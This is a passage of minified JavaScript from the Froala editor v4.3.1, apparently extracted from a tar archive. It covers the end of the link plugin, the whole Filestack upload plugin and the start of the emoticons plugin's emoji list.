Link",undo:!1,refreshAfterCallback:!1,popup:!0,callback:function(){this.link.update()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),y.DefineIcon("linkRemove",{NAME:"unlink",SVG_KEY:"unlink"}),y.RegisterCommand("linkRemove",{title:"Unlink",callback:function(){this.link.remove()},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"}),y.DefineIcon("linkBack",{NAME:"arrow-left",SVG_KEY:"back"}),y.RegisterCommand("linkBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.link.back()},refresh:function(e){var t=this.link.get()&&this.doc.hasFocus();(this.image?this.image.get():null)||t||this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))},plugin:"link"}),y.DefineIcon("linkList",{NAME:"search",SVG_KEY:"search"}),y.RegisterCommand("linkList",{title:"Choose Link",type:"dropdown",focus:!1,undo:!1,refreshAfterCallback:!1,html:function(){for(var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkList,n=0;n<t.length;n++)e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkList" data-param1="'.concat(n,'">').concat(t[n].displayText||t[n].text,"</a></li>");return e+="</ul>"},callback:function(e,t){this.link.usePredefined(t)},plugin:"link"}),y.RegisterCommand("linkInsert",{focus:!1,refreshAfterCallback:!1,callback:function(){this.link.insertCallback()},refresh:function(e){this.link.get()?e.text(this.language.translate("Update")):e.text(this.language.translate("Insert"))},plugin:"link"}),y.DefineIcon("imageLink",{NAME:"link",SVG_KEY:"insertLink"}),y.RegisterCommand("imageLink",{title:"Insert Link",undo:!1,focus:!1,popup:!0,callback:function(){this.link.imageLink()},refresh:function(e){var t;this.link.get()?((t=e.prev()).hasClass("fr-separator")&&t.removeClass("fr-hidden"),e.addClass("fr-hidden")):((t=e.prev()).hasClass("fr-separator")&&t.addClass("fr-hidden"),e.removeClass("fr-hidden"))},plugin:"link"}),y.DefineIcon("linkStyle",{NAME:"magic",SVG_KEY:"linkStyles"}),y.RegisterCommand("linkStyle",{title:"Style",type:"dropdown",html:function(){var e='<ul class="fr-dropdown-list" role="presentation">',t=this.opts.linkStyles;for(var n in t)t.hasOwnProperty(n)&&(e+='<li role="presentation"><a class="fr-command" tabIndex="-1" role="option" data-cmd="linkStyle" data-param1="'.concat(n,'">').concat(this.language.translate(t[n]),"</a></li>"));return e+="</ul>"},callback:function(e,t){this.link.applyStyle(t)},refreshOnShow:function(e,t){var n=this.$,i=this.link.get();if(i){var r=n(i);t.find(".fr-command").each(function(){var e=n(this).data("param1"),t=r.hasClass(e);n(this).toggleClass("fr-active",t).attr("aria-selected",t)})}},refresh:function(e){this.link.get()?e.removeClass("fr-hidden"):e.addClass("fr-hidden")},plugin:"link"})}); plugins/filestack.min.js 0000674 00000056270 00000000000 0011270 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(R){"use strict";function c(e,t){(null==t||t>e.length)&&(t=e.length);for(var i=0,n=Array(t);i<t;i++)n[i]=e[i];return n}function L(e,t){var i="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!i){if(Array.isArray(e)||(i=function r(e,t){if(e){if("string"==typeof e)return c(e,t);var i={}.toString.call(e).slice(8,-1);return"Object"===i&&e.constructor&&(i=e.constructor.name),"Map"===i||"Set"===i?Array.from(e):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?c(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){i&&(e=i);var n=0,o=function(){};return{s:o,n:function(){return n>=e.length?{done:!0}:{done:!1,value:e[n++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var s,a=!0,l=!1;return{s:function(){i=i.call(e)},n:function(){var e=i.next();return a=e.done,e},e:function(e){l=!0,s=e},f:function(){try{a||null==i["return"]||i["return"]()}finally{if(l)throw s}}}}var U,D;R=R&&R.hasOwnProperty("default")?R["default"]:R,Object.assign(R.POPUP_TEMPLATES,{"filestackPlugin.error":"[_UPLOAD_LAYER_]"}),R.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt","image/jpeg","image/png","image/jpg","image/gif","image/webp","video/*","audio/*","mp3"],R.REQUIRED_PLUGINS=["image","video","file","filesManager"],R.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED=["image/jpeg","image/png","image/jpg","image/gif","image/webp"],R.FILESTACK_DEFAULT_ACCEPT_FILE_TYPES=[".pdf",".docx",".ppt",".pptx",".doc",".xlsx",".xls",".csv",".txt"],R.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED=["video/*"],R.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED=["local_file_system","imagesearch","url","googledrive","facebook","instagram","dropbox"],R.FILESTACK_PICKER_DEFAULT_OPTIONS={displayMode:"overlay",uploadInBackground:!1,stage:{cname:"stage.filestackapi.com"}},Object.assign(R.DEFAULTS,{filestackOptions:{}}),R.FILE_STACK_URL_PART="filestack",R.PLUGINS.filestack=function(u){var o,f,t=["pdf","msword","vnd.openxmlformats-officedocument.wordprocessingml.document","vnd.ms-excel","vnd.openxmlformats-officedocument.spreadsheetml.sheet","vnd.ms-powerpoint","vnd.openxmlformats-officedocument.presentationml.presentation","csv","plain","ogg"],d=1,a=4,m=5,g=6,l=7,r={};function k(e,t,i){v(i?u.language.translate(r[e])+"\nResponse: "+JSON.stringify(i):u.language.translate(r[e]),t)}function v(e,t,i,n){var o;if((o=u.popups.get("filestackPlugin.error"))||(o=p(e)),i&&(o.find(".fr-image-progress-bar-layer").addClass("fr-active"),o.find(".fr-error-message").addClass("fr-layer"),o.find(".fr-buttons").hide()),!!u.$tb){var s;"openFilePicker"===t?s="openFilePicker":"openFilePickerReplaceImageOnly"===t||"openFilePickerImage"===t?s="insertImage":"openFilePickerReplaceVideoOnly"===t||"openFilePickerVideo"===t?s="insertVideo":"openFilePickerVideoOnly"===t?s="openFilePickerVideoOnly":"openFilePickerImageOnly"===t?s="openFilePickerImageOnly":"openFilePickerFile"===t&&(s="openFilePickerFile");var a=u.$tb.find(".fr-command[data-cmd='".concat(s,"']"));if(i)u.popups.show("filestackPlugin.error",n.x,n.y);else if(!o.hasClass("fr-active")&&(u.popups.refresh("filestackPlugin.error"),u.popups.setContainer("filestackPlugin.error",u.$tb),a.isVisible()||u.opts.toolbarInline)){var l=u.opts.toolbarInline&&["openFilePickerImage","openFilePickerVideo"].includes(t)?u.$(".fr-popup")[0].style:u.button.getPosition(a),r=l.left,c=l.top;u.popups.show("filestackPlugin.error",r,c,a.outerHeight())}}}function P(){var e="",t=function i(){var t=[];return R.REQUIRED_PLUGINS.forEach(function(e){u.opts.pluginsEnabled.indexOf(e)<0&&t.push(e.charAt(0).toUpperCase()+e.slice(1))}),t}();return e=t.join(", "),1<t.length?e+=" plugin are":e+=" plugin is",e}function p(e){var t=e.includes("Do you want to enable"),i=t?"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-enable'>".concat(u.language.translate("Enable"),"</button> \n <button class='fr-trim-button fr-plugins-cancel'>").concat(u.language.translate("Cancel"),"</button>\n </div>"):"<div style='text-align:right;' class='fr-buttons'>\n <button class='fr-trim-button fr-plugins-ok'>".concat(u.language.translate("OK"),"</button> \n </div>"),n={upload_layer:"".concat('<div class="fr-image-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader fr-indeterminate"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="imageDismissError" tabIndex="2" role="button">OK</button></div></div>',"\n <div style= 'padding:10px'>\n <div class = 'fr-message fr-error-message'><h3 style ='font-size: 16px; margin: 10px 10px;font-weight: normal;'>").concat(u.language.translate(e),"</h3></div>\n ").concat(i,"\n ")},o=u.popups.create("filestackPlugin.error",n);if(t){var s=o.find(".fr-plugins-enable")[0],a=o.find(".fr-plugins-cancel")[0];s.addEventListener("click",function(e){!function t(){R.REQUIRED_PLUGINS.forEach(function(e){u.opts.pluginsEnabled.indexOf(e)<0&&u.opts.pluginsEnabled.push(e)})}(),function i(e){for(var t in e)if(!u[t]){if(R.PLUGINS[t]&&u.opts.pluginsEnabled.indexOf(t)<0)continue;u[t]=new e[t](u),u[t]._init&&u[t]._init()}}(R.PLUGINS),_(),u.events.trigger("filestack.pluginsEnabled"),u.popups.hide("filestackPlugin.error"),O(),e.preventDefault()}),a.addEventListener("click",function(e){u.popups.hide("filestackPlugin.error"),O(),e.preventDefault()})}else{var l=o.find(".fr-plugins-ok")[0];l&&l.addEventListener("click",function(e){u.popups.hide("filestackPlugin.error"),e.preventDefault()})}return o}function F(){var t=!0;return R.REQUIRED_PLUGINS.forEach(function(e){u.opts.pluginsEnabled.indexOf(e)<0&&(t=!1)}),t}r[d]="Filestack api is missing",r[2]="The Filestack options are missing. Please check filestackOptions",r[3]="The Filestack picker is missing. Please check filestackOption",r[a]="Image upload to filestack failed while processing the request",r[m]="Filestack plugin is currently not supported on this browser",r[g]="The selected media types are not supported",r[l]="The selected source types are not supported by Filestack",r[8]="Error opening Filestack picker due to invalid picker parameters",r[9]="This image is not supported for image transformation",r[10]="The Filestack client is not created yet";var h=u.opts.filestackOptions.filestackAPI;if(h)try{f=u.opts.filestackOptions.staging?filestack.init(h,R.FILESTACK_PICKER_DEFAULT_OPTIONS.stage):filestack.init(h,R.FILESTACK_PICKER_DEFAULT_OPTIONS)}catch(A){0===!Object.keys(u.opts.filestackOptions).length&&k(10)}else;function I(){var e=navigator.userAgent,t=u||"",i=t.helpers,n=t.browser;if(i.isMac()&&n.mozilla)return!1;var o=-1!=e.indexOf("Windows NT 10.")||-1!=e.indexOf("Windows NT 7."),s=e.match(/(chrome|safari|firefox|trident(?=\/))\/?\s*(\d+)/i)[2]||[],a=null;return 0<=e.indexOf("Android")&&(a=parseFloat(e.slice(e.indexOf("Android")+8))),!!((i.isMac()||i.isIOS())&&12<i.getSafariVersion())||(!!(o&&n.chrome&&70<s||-1!=e.indexOf("Edg")&&40<s)||!!(i.isAndroid()&&6<a&&n.chrome&&70<s))}function c(e){return!1===u.events.trigger("filestack.uploadedToFilestack",[e],!0)?(u.edit.on(),!1):e}function O(e){var t=u.button.getButtons('button[data-cmd="openFilePicker"]'),i=u.button.getButtons('button[data-cmd="openFilePickerImageOnly"]'),n=u.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]'),o=u.button.getButtons('button[data-cmd="openFilePickerFile"]');t.removeClass("fr-filestack-active"),i.removeClass("fr-filestack-active"),n.removeClass("fr-filestack-active"),o.removeClass("fr-filestack-active"),!1===u.events.trigger("filestack.filestackPickerClosed",[e],!0)&&u.edit.on()}function E(){D=U=null,u.selection.restore()}function y(e){k(a,e),!1===u.events.trigger("filestack.uploadFailedToFilestack",[e],!0)&&u.edit.on()}function b(e){return t.includes(e.split("/")[1])}function T(e){var t=!1;u.opts.imageInsertButtons=u.opts.imageInsertButtons.map(function(e){return"openFilePickerImage"===e?(t=!0,"openFilePickerReplaceImageOnly"):e}),t&&u.events.trigger("filestack-init"),u.popups.hide("image.edit");var i=u.doc.querySelector(".fr-popup");i&&i.remove(),u.opts.pluginsEnabled.includes("filestack")&&function n(e){u.opts.imageEditButtons.includes("filestackIcon")&&(o=u.opts.imageEditButtons.indexOf("filestackIcon"));!u.opts.imageEditButtons.includes("filestackIcon")&&e&&u.opts.pluginsEnabled.includes("filestack")?(o||0===o)&&u.opts.imageEditButtons.splice(o,0,"filestackIcon"):e||(u.opts.imageEditButtons=u.opts.imageEditButtons.filter(function(e){return"filestackIcon"!=e}));u.opts.filestackOptions.uploadToFilestackOnly&&e?u.opts.imageEditButtons=u.opts.imageEditButtons.filter(function(e){return"imageTUI"!=e}):u.opts.pluginsEnabled.includes("imageTUI")&&!u.opts.imageEditButtons.includes("imageTUI")&&u.opts.imageEditButtons.push("imageTUI")}(e),u.events.trigger("filestack-init-edit")}function S(){var t=!1;u.opts.videoInsertButtons=u.opts.videoInsertButtons.map(function(e){return"openFilePickerVideo"===e?(t=!0,"openFilePickerReplaceVideoOnly"):e}),t&&u.events.trigger("filestack-init-video")}function _(){R.DEFAULTS.imageInsertButtons&&!R.DEFAULTS.imageInsertButtons.includes("openFilePickerImage")&&R.DEFAULTS.imageInsertButtons.push("openFilePickerImage"),R.DEFAULTS.imageEditButtons&&!R.DEFAULTS.imageEditButtons.includes("filestackIcon")&&R.DEFAULTS.imageEditButtons.push("filestackIcon"),R.DEFAULTS.videoInsertButtons&&!R.DEFAULTS.videoInsertButtons.includes("openFilePickerVideo")&&R.DEFAULTS.videoInsertButtons.push("openFilePickerVideo"),R.DEFAULTS.filesInsertButtons&&!R.DEFAULTS.filesInsertButtons.includes("openFilePicker")&&R.DEFAULTS.filesInsertButtons.push("openFilePicker"),R.DEFAULTS.fileInsertButtons&&!R.DEFAULTS.fileInsertButtons.includes("openFilePickerFile")&&R.DEFAULTS.fileInsertButtons.push("openFilePickerFile"),u.popups.onHide("image.insert",function(){var e=u.button.getButtons('button[data-cmd="openFilePickerImage"]'),t=u.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),u.popups.onHide("video.insert",function(){var e=u.button.getButtons('button[data-cmd="openFilePickerVideo"]'),t=u.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]');e.removeClass("fr-filestack-active"),t.removeClass("fr-filestack-active")}),u.popups.onHide("filesManager.insert",function(){u.button.getButtons('button[data-cmd="openFilePicker"]').removeClass("fr-filestack-active")});var e=u.opts.filestackOptions.pickerOptions?Object.assign({},u.opts.filestackOptions.pickerOptions,{accept:u.opts.filestackOptions.pickerOptions.accept?u.opts.filestackOptions.pickerOptions.accept:[],fromSources:u.opts.filestackOptions.pickerOptions.fromSources?u.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};e.fromSources=function a(t,e){if(!e||0===e.length)return t;var i=[];return e.forEach(function(e){-1<t.indexOf(e)&&i.push(e)}),0===i.length&&k(l),i}(R.FILESTACK_PICKER_OPTIONS_FROMSOURCES_MAX_SUPPORTED,e.fromSources),e.onOpen=function(e){u.events.on("window.mouseup",function(e){if(document.getElementById("__filestack-picker")&&u.helpers.isMobile())return e.preventDefault(),e.stopPropagation(),!1},!0),!1===u.events.trigger("filestack.filestackPickerOpened",[e],!0)&&u.edit.on();var t=u.selection.get();t&&(t.anchorNode,t.anchorOffset)},e.onUploadDone=function(e){return function a(e){if("undefined"!=typeof e.filesUploaded){var n,t=L(e.filesUploaded);try{var i,o=function o(){var t=n.value;if(b(t.mimetype)||t.mimetype.includes("image/jpeg")||t.mimetype.includes("image/png")||t.mimetype.includes("image/")||t.mimetype.includes("video/")||t.mimetype.includes("audio/mpeg")){t.mimetype.includes("image/")&&T(!0),t.mimetype.includes("video/")&&S();var i=function i(e){t.mimetype.includes("image")?e.next().is("br")&&e.next().remove():(e.next()&&e.next().is("br")&&e.next().remove(),e.prev()&&e.prev().is("br")&&e.prev().remove()),u.selection.setAfter(e[0])};if(!c(e)||U||D||(t.mimetype.includes("ogg")?u.file.insert(t.url,t.filename,null):t.mimetype.includes("image")?(u.image.insert(t.url,!1,null,null),u.events.on("image.loaded",i)):t.mimetype.includes("video")?(u.events.on("video.inserted",i),u.video.insertHtmlVideo(t.url,null,null,null,null)):t.mimetype.includes("audio/mpeg")?(u.events.on("video.inserted",i),u.video.insertHtmlVideo(t.url,null,null,null,null,"audio")):b(t.mimetype)&&u.file.insert(t.url,t.filename,null)),U)return u.image.insert(t.url,!1,null,U),U=null,{v:void 0};if(D)return u.video.insertHtmlVideo(t.url,!1,null,D),D=null,{v:void 0}}};for(t.s();!(n=t.n()).done;)if(i=o())return i.v}catch(s){t.e(s)}finally{t.f()}}}(e)},e.onFileUploadFailed=y,e.onClose=O,e.onCancel=E,u.opts.filestackOptions.pickerOptions=e;var o=function o(e){var t="IMG"===e.target.tagName,i="VIDEO"===e.target.tagName,n=e.target.src&&e.target.src.includes(R.FILE_STACK_URL_PART)&&!e.target.src.includes("blob:");t?T(n):i&&S()},t=u.helpers.isMobile()&&!u.helpers.isWindowsPhone();if(u.events.on(t?"touchend":"click",o,t),u.events.on("drop",function(){T(!1),S()},!0),u.opts.filestackOptions.uploadToFilestackOnly&&!u.opts.iframe&&!u.opts.fullPage){if(f&&I()&&F()){var i=filestackDnD.init(f,u.el);i&&i.on("uploadFileFinish",function(e){if(e.files[0].mimetype.includes("image/")&&T(!0),e.files[0].mimetype.includes("video/")&&S(),b(e.files[0].mimetype)||e.files[0].mimetype.includes("pdf")||e.files[0].mimetype.includes("image/jpeg")||e.files[0].mimetype.includes("image/png")||e.files[0].mimetype.includes("image/")||e.files[0].mimetype.includes("video/")||e.files[0].name&&e.files[0].name.includes(".ogg")){var t=function t(e){u.popups.hide("filestackPlugin.error"),u.selection.setAfter(e[0])};if(e.files[0].mimetype.includes("image"))c(e)&&(u.image.insert(e.data.url,!1),u.events.on("image.inserted",t));else e.files[0].mimetype.includes("video")?(u.video.insertHtmlVideo(e.data.url),u.events.on("video.inserted",t)):(e.files[0].mimetype.includes("pdf")||b(e.files[0].mimetype)||e.files[0].name&&e.files[0].name.includes(".ogg"))&&u.file.insert(e.data.url,e.data._file.name,null);u.popups.hide("filestackPlugin.error")}})}u.events.on("drop",function(e){return f?I()?F()?(u.markers.remove(),u.markers.insertAtPoint(e.originalEvent),u.$el.find(".fr-marker").replaceWith(R.MARKERS),0===u.$el.find(".fr-marker").length&&u.selection.setAtEnd(u.el),v("Image loading","",!0,{x:e.originalEvent.x,y:e.originalEvent.y})):v(P()+" not enabled. Do you want to enable?","openFilePicker"):(p(r[m]),u.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)):(p(r[d]),u.popups.show("filestackPlugin.error",e.originalEvent.x,e.originalEvent.y)),e.preventDefault(),e.stopPropagation(),!1},!0)}var n=document.getElementById("insertImage-".concat(u.id));n&&n.addEventListener("mouseup",function(){var t=!1;u.opts.imageInsertButtons=u.opts.imageInsertButtons.map(function(e){return"openFilePickerReplaceImageOnly"===e?(t=!0,"openFilePickerImage"):e}),t&&u.events.trigger("filestack-init")});var s=document.getElementById("insertVideo-".concat(u.id));s&&s.addEventListener("mouseup",function(){var t=!1;u.opts.videoInsertButtons=u.opts.videoInsertButtons.map(function(e){return"openFilePickerReplaceVideoOnly"===e?(t=!0,"openFilePickerVideo"):e}),t&&u.events.trigger("filestack-init-video")}),u.events.on("image.loaded",function(e){(!e[0].src.includes(R.FILE_STACK_URL_PART)||e[0].src.includes(R.FILE_STACK_URL_PART)&&e[0].src.includes("blob:"))&&setTimeout(function(){var e=document.querySelector("#filestackIcon-".concat(u.id));e&&e.parentNode.removeChild(e)},10)})}return u.events.on("filestack.imageTransformation.click",function(){!function s(e){U=e;var i=u.image.get()[0].currentSrc||"",t=filestack.init(h),n=new FilestackTransform(t);n.setConfigKey("output.blob",!0),n.open(i).then(function(e){t.upload(e).then(function(e){var t=u.selection.save();void 0!==i&&(u.image.insert(e.url,!1,null,U),U=null,u.selection.restore(t))}),t.on("upload.error",function(){k(a)})}),u.events.on("keydown",function(){var e=document.getElementsByClassName("fs-transforms-container");u.helpers.isMobile()&&e&&e[0].childNodes&&e[0].childNodes.length&&(U=null)});var o=u.button.getButtons('button[data-cmd="filestackIcon"]');n.on("canvas:save",function(){o.removeClass("fr-filestack-active"),v("Image loading","",!0,{x:U.offset().left,y:U.offset().top+U.height()})}),n.on("canvas:cancel",function(){o.removeClass("fr-filestack-active")})}(u.image.get())}),u.events.on("filestack.imageTransformation.error",function(){k(9)}),{_init:_,showFilestackPopup:function C(e,t,i){if(!e)return!1;var n;if("openFilePicker"===e||"openFilePickerFile"===e?n=R.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?n=R.FILESTACK_PICKER_OPTIONS_IMAGE_ONLY_SUPPORTED:"openFilePickerVideoOnly"!==e&&"openFilePickerReplaceVideoOnly"!==e&&"openFilePickerVideo"!==e||(n=R.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED),!h)return k(d,e),!1;if(!I())return k(m,e),!1;if(!F())return v(P()+" not enabled. Do you want to enable?",e),!1;if(!f&&0===!Object.keys(u.opts.filestackOptions).length)return k(10,e),!1;t&&(U=t),i&&(D=i);var o,s=u.opts.filestackOptions.pickerOptions?Object.assign({},u.opts.filestackOptions.pickerOptions,{accept:u.opts.filestackOptions.pickerOptions.accept?u.opts.filestackOptions.pickerOptions.accept:[],fromSources:u.opts.filestackOptions.pickerOptions.fromSources?u.opts.filestackOptions.pickerOptions.fromSources:[]}):{accept:[],fromSources:[]};o=u.opts.fileAllowedTypes&&1===u.opts.fileAllowedTypes.length&&"*"===u.opts.fileAllowedTypes[0]?R.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED:u.opts.fileAllowedTypes,0===s.accept.length&&(s.accept=R.FILESTACK_PICKER_OPTIONS_MEDIA_MAX_SUPPORTED);var a=R.FILESTACK_PICKER_OPTIONS_VIDEO_ONLY_SUPPORTED;u.opts.videoAllowedTypes&&(a=u.opts.videoAllowedTypes.map(function(e){return"mp3"===e?"audio/".concat(e):"video/".concat(e)})),"openFilePickerImageOnly"===e||"openFilePickerReplaceImageOnly"===e||"openFilePickerImage"===e?n=u.opts.imageAllowedTypes.map(function(e){return"image/".concat(e)}):"openFilePickerVideoOnly"===e||"openFilePickerReplaceVideoOnly"===e||"openFilePickerVideo"===e?n=a:"openFilePickerFile"===e&&(n=o);var l=s.maxFiles;(t||i)&&(l=1);var r="openFilePicker"===e?function p(t,e){if(!e||0===e.length)return t;var i=[];return e.forEach(function(e){-1<t.indexOf(e)&&i.push(e)}),0===i.length&&k(g),i}(n,s.accept):n,c=Object.assign({},s,{accept:r,maxFiles:l});try{f.picker(c).open(),u.popups.hideAll(),u.selection.save()}catch(A){0===Object.keys(u.opts.filestackOptions).length&&k(8,e)}},isBrowserSupported:I}},R.DefineIcon("filestackIcon",{ALT:"Open Filestack file picker",NAME:"filestack",SVG_KEY:"filestackIcon"}),R.DefineIcon("filestackIconAdd",{ALT:"Open Filestack file picker",NAME:"filestackAdd",SVG_KEY:"filestackIconAdd"}),R.DefineIcon("imageTransformations",{ALT:"Open Filestack image transformations",NAME:"imageTransformations",SVG_KEY:"imageTransformations"}),R.DefineIcon("imageFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="M11.1 15.8h7.7V5.7H5.1v4.2H3.4V5.7c0-.9.8-1.7 1.7-1.7h13.7c.9 0 1.7.8 1.7 1.7v10.1c0 .9-.8 1.7-1.7 1.7h-7.7v-1.7Zm0-2.5 2.6-3.4h.2l3.3 4.2h-6.1v-.8ZM8.9 6.9c.7 0 1.3.6 1.3 1.3s-.6 1.3-1.3 1.3-1.3-.6-1.3-1.3.6-1.3 1.3-1.3Z"/><path d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),R.DefineIcon("videoFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="m11 11.3 1 2.6h3.6V6.8h-9v3.6H4.8V6c0-.2.1-.5.3-.6s.4-.3.6-.3h10.8c.2 0 .5.1.6.3s.3.4.3.6v3.1l2.1-2c.3-.3.6-.3 1-.2.3 0 .6.5.6.8v5.5c0 .4-.2.7-.6.8-.3.1-.7 0-1-.2l-2.1-2v3.1c0 .2 0 .5-.3.6-.2.2-.4.3-.6.3H12V14l-1-2.7Z" /><path d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),R.RegisterCommand("openFilePicker",{type:"button",icon:"filestackIcon",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePicker"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePicker")},plugin:"filestack"}),R.RegisterCommand("openFilePickerImageOnly",{type:"button",icon:"imageFilestackOnly",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImageOnly",this.image&&this.image.get())},plugin:"filestack"}),R.RegisterCommand("openFilePickerImage",{type:"button",icon:"filestackIcon",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImage"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImage",this.image&&this.image.get())},plugin:"filestack"}),R.RegisterCommand("openFilePickerReplaceImageOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceImageOnly",this.image&&this.image.get())},plugin:"filestack"}),R.RegisterCommand("openFilePickerVideoOnly",{type:"button",icon:"videoFilestackOnly",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),R.RegisterCommand("openFilePickerVideo",{type:"button",icon:"filestackIcon",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideo"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideo",null,this.video&&this.video.get())},plugin:"filestack"}),R.RegisterCommand("openFilePickerReplaceVideoOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),R.RegisterCommand("filestackIcon",{type:"button",icon:"imageTransformations",title:"Image Transformations",plugin:"filestack",callback:function(){var e=!1,t=this.image.get(0)[0];(t&&t.currentSrc&&(e=t.currentSrc.includes(R.FILE_STACK_URL_PART)&&!t.currentSrc.includes("blob:")),e)?(this.button.getButtons('button[data-cmd="filestackIcon"]').addClass("fr-filestack-active"),this.events.trigger("filestack.imageTransformation.click")):this.events.trigger("filestack.imageTransformation.error")}}),R.RegisterCommand("openFilePickerFile",{type:"button",icon:"filestackIcon",title:"Open Filestack Upload File",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerFile"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerFile")},plugin:"filestack"})}); plugins/emoticons.min.js 0000674 00000146344 00000000000 0011325 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,c){"object"==typeof exports&&"undefined"!=typeof module?c(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],c):c(e.FroalaEditor)}(this,function(B){"use strict";B=B&&B.hasOwnProperty("default")?B["default"]:B,Object.assign(B.POPUP_TEMPLATES,{emoticons:"[_BUTTONS_][_CUSTOM_LAYER_]"}),Object.assign(B.DEFAULTS,{emoticonsSet:[{id:"people",name:"Smileys & People",code:"1f600",emoticons:[{code:"1f600",desc:"Grinning face"},{code:"1f601",desc:"Grinning Face with Smiling Eyes"},{code:"1f602",desc:"Face with Tears of Joy"},{code:"1f603",desc:"Smiling Face with Open Mouth"},{code:"1f604",desc:"Smiling Face with Open Mouth and Smiling Eyes"},{code:"1f605",desc:"Smiling Face with Open Mouth and Cold Sweat"},{code:"1f606",desc:"Smiling Face with Open Mouth and Tightly-Closed Eyes"},{code:"1f609",desc:"Winking Face"},{code:"1f60a",desc:"Smiling Face with Smiling Eyes"},{code:"1f608",desc:"Face Savouring Delicious Food"},{code:"1f60e",desc:"Smiling Face with Sunglasses"},{code:"1f60d",desc:"Smiling Face with Heart-Shaped Eyes"},{code:"1f618",desc:"Face Throwing a Kiss"},{code:"1f617",desc:"Kissing Face"},{code:"1f619",desc:"Kissing Face with Smiling Eyes"},{code:"1f61a",desc:"Kissing Face with Closed Eyes"},{code:"263a",desc:"White Smiling Face"},{code:"1f642",desc:"Slightly Smiling Face"},{code:"1f610",desc:"Neutral Face"},{code:"1f611",desc:"Expressionless Face"},{code:"1f636",desc:"Face Without Mouth"},{code:"1f60f",desc:"Smirking Face"},{code:"1f623",desc:"Persevering Face"},{code:"1f625",desc:"Disappointed but Relieved Face"},{code:"1f62e",desc:"Face with Open 